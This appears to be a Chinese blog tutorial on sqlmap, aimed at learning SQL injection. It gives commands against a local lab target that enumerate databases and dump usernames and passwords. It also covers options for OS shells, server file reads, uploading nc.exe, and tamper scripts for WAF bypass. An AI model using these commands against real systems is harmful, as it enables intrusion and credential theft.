sqlmap详解
sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。
sqlmap支持五种不同的注入模式:
- 1 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
- 2 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
- 3 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
- 4 联合查询注入,可以使用union的情况下的注入;
- 5 堆查询注入,可以同时执行多条语句的执行时的注入。
1.安装sqlmap
- 下载及安装:https://github.com/sqlmapproject/sqlmap
2.sqlmap入门
.判断是否存在注入
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1&uid=2" #参数大于1时加双引号 .判断文本中的请求是否存在注入
sqlmap.py -r test.txt #-r一般在存在cookie注入时使用 .查询当前用户下的所有数据库
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs .获取数据库下的表名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables .获取表中的字段名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns .获取字段的内容
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C username,password --dump .获取数据库的所有用户
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users .获取数据库用户的密码
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --password .获取当前网站数据库的名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db .获取当前网站数据库的用户名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-user
3.sqlmap进阶:参数讲解
.--level=:探测等级,-,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。 .--id-dba:当前用户是否为管理权限 .--roles:列出数据库管理员角色,仅适用于当前数据库是Oracle的时候 .--referer=https://www.baid.com :sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入 .--sql-shell:运行自定义sql语句 .--os-cmd,--os-shell:运行任意操作系统命令 .--file-read "C:/example.exe":从数据库服务器中读取文件 .sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上传文件到数据库服务器中
4.sqlmap自带绕过脚本tamper的讲解
--identify-waf可以检查网站是否有安全防护(WAF/IDS/IPS)
--tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。
命令:sqlmap.py -u "URL" --tamper "模块名"
目前官方提供53个绕过脚本,比如
apostrophemask.py #将引号替换为UTF-,用于过滤单引号
base64encode.py #替换为base64编码
multiplespaces.py #围绕sql关键字添加多个空格
space2plus.py #用+号替换空格
nonrecursivereplacement.py #作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
space2randomblank.py #将空格替换为其他有效字符
unionalltounion.py #将union all select 替换为union select
securesphere.py #追加特制的字符串
space2hash.py #将空格替换为#号,并添加一个随机字符串和换行符。
space2mssqlblank.py #(mssql)将空格替换为其他空符号
space2mssqlhash.py #将空格替换为#号,并添加一个换行符
between.py #用NOT BETWEEN AND替换大于号,用BETWEEN AND替换等号
percentage.py #ASP允许在每个字符前面添加一个%号
sp_password.py #从DBMS日志的自动模糊处理的有效载荷中追加sp_password
charencode.py #对给定的Payload全部字符使用URL编码(不处理已经编码的字符)
randomcase.py #随机大小写
charunicodeencode.py #字符串Unicode编码
space2comment.py #将空格替换为/**/
equaltolike.py #将等号替换为like
greatest.py #绕过对>的过滤,用GREATEST替换大于号
ifnull2ifisnull.py #绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
modsecurityversioned.py #过滤空格,使用Mysql内联注释的方法进行注入
space2mysqlblank.py #将空格替换为其他空白符号(使用户MySQL)
modsecurityzeroversioned.py #使用mysql内联注释(/*! 00000*/)的方式进行注入
space2mysqldash.py #将空格替换为--,并添加一个换行符。
bluecoat.py #在sql语句之后用有效的随机空白符替换空格符,随后用like替换等于号。
versionedkeywords.py #注释绕过
halfversionedmorekeywords.py #当数据库为mysql时绕过防火墙,在每个关键字之前添加mysql版本注释
space2morehash.py #将空格替换为#号,并添加一个随机字符串和换行符。
apostrophenullencode.py #用非法双字节unicode字符替换单引号
appendnullbyte.py #在有效载荷的结束为止加载零字节字符编码
chardoubleencode.py #对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
unmagicquotes.py #用一个多字节组合(%bf%)和末尾通用注释一起替换空格。
randomcomments.py #用/**/分割sql关键字
sqlmap详解的更多相关文章
- sqlmap 详解
sqlmap 使用总结 0x01 需要了解 当给 sqlmap 这么一个 url 的时候,它会:1.判断可注入的参数 2.判断可以用那种 SQL 注入技术来注入 3.识别出哪种数据库 4.根据用户 ...
- 详解强大的SQL注入工具——SQLMAP
1. 前言 Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linu ...
- sqlmap命令详解
cookie注入:sqlmap.py -u 注入点 --cookie "参数" --tables --level 2 POST登录框注入:sqlmap.py -r 从文件读取数据 ...
- SQLMAP使用详解
使用示例 python sqlmap.py -u "http://xx.com/member.php?id=XX" -p id --dbms "Mysql" ...
- Sqlmap全参数详解
sqlmap全参数详解 sqlmap是在sql注入中非常常用的一款工具,由于其开源性,适合从个人到企业,从学习到实战,各领域各阶段的应用,我们还可以将它改造成我们自己独有的渗透利器.这款工具中,大大小 ...
- sqlmap用户手册详解【实用版】
网上的sqlmap教程很多,但是我自己备忘小笔记都是在我的电脑上存着了,万一我要出去玩的时候,有点忘了,还得再百度翻翻,还不如发到我自己知乎上,忘了立马一看就记着了.虽说我的sqlmap备忘小笔记汇总 ...
- Sqlmap 工具用法详解
Sqlmap 工具用法详解 sqlmap是一款自动化的sql注入工具. 1.主要功能:扫描.发现.利用给定的url的sql注入漏 ...
- sqlMapConfig.xml配置文件详解
sqlMapConfig.xml配置文件详解: Xml代码 Xml代码 <? xml version="1.0" encoding="UTF-8" ?& ...
- Mybatis配置详解
一.SqlSession的使用范围说明 1.SQLSessionFactoryBuilder 通过SqlSessionFactoryBuilder创建会话工厂SqlSessionFactory, ...
随机推荐
- 吴裕雄--天生自然 R语言开发学习:分类(续二)
#-----------------------------------------------------------------------------# # R in Action (2nd e ...
- [css-animation-101] 8 multiple transitions
原文地址:css animation 101 #multiple-transitions 原文作者:Donovan Hutchinson 译者:JobbyM 到目前为止,我们已经讨论了一个过渡如何在一 ...
- Angular总结
angular关键核心点进行总结 1 2 angular中有很多知识点需要学习,学习成本是很大的,我通过平常开发中把一些 很重要知识点总结下来,不管是以后拿来用,或者跳槽面试需要,我都感觉是很有帮助的 ...
- 杀死众筹的N种方法:没想到山寨大军也参与了
众筹作为当下创业者筹集资金,将创意变为现实的最重要手段之一,正面临着越来越多的困难,甚至衍生出杀死众筹的N种方法.甚至这些方法还分为了两类,就众筹本身看,杀死它们的主要方法是:创业者卷钱跑路. ...
- ndarray数组的索引和切片
索引:获取数组中特定位置元素的过程 切片:获取数组元素子集的过程 import numpy as np 一维数组 一维数组的索引和切片与python中的列表类似 索引:若元素个数为n,则索引下标可表示 ...
- Java入门教程三(流程控制)
概述 程序有 3 种结构:顺序结构.选择结构和循环结构.分别为:if elseswitch case,while与do while,for, foreach,return,break ,continu ...
- 非对称加密算法RSA 学习
非对称加密算法RSA 学习 RSA加密算法是一种非对称加密算法.RSA是1977年由罗纳德·李维斯特(Ron Rivest).阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Ad ...
- 06.深入浅出 Spring Boot - 数据访问之Druid
代码下载:https://github.com/Jackson0714/study-spring-boot.git 一.Druid是什么? 1.Druid是数据库连接池,功能.性能.扩展性方面都算不错 ...
- 微信小程序从开发至发布的流程
今天在公司将这几天开发的小程序,进行版本上线,在这里记录下. 首先,将微信开发工具里的代码上传到微信小程序平台里,如下所示 之后,在微信小程序平台进行审核提交,填写相应的信息即可,注意,审核提交分为紧 ...
- 不要写很酷但同事看不懂的Java代码
你好呀,我是沉默王二,一个和黄家驹一样身高,和刘德华一样颜值的程序员.为了提高 Java 编程的技艺,我最近在 GitHub 上学习一些高手编写的代码.下面这一行代码(出自大牛之手)据说可以征服你的朋 ...